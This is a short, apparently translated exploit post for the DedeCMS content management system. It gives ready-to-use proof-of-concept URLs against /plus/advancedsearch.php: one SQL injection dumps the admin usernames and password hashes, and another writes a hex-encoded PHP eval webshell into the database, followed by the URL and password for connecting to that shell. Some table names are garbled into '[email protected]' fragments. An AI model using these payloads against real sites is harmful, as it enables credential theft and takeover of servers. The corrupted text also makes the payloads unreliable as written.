Dedecms latest injections and Getshell exploits

Vulnerability Analysis: https://www.t00ls.net/thread-35569-1-1.html

Condition Utilization:

1. Vulnerability code in the/plus/advancedsearch.php file
2.php.ini to turn on session.auto_start = 1
3. Must know an existing mid, need to add a custom search model in the background

Burst account password POC:

Http://localhost/dedecms/plus/advancedsearch.php?mid=1&_session[123]=select concat (0x7c,userid,0x7c,pwd, 0X7C) as aid from '%[email protected]__admin ' AAA &sqlhash=123

Getshell POC:

Http://localhost/dedecms/plus/advancedsearch.php?mid=6&_session[123]=update '%[email Protected]__mytag ' set normbody=0x3c3f706870206576616c28245f504f53545b635d293b3f3e where aid=1 limit 1&sqlhash=123

Then the chopper link http://localhost/dedecms/plus/mytag_js.php?aid=1 password: c

Dedecms latest injections and Getshell exploits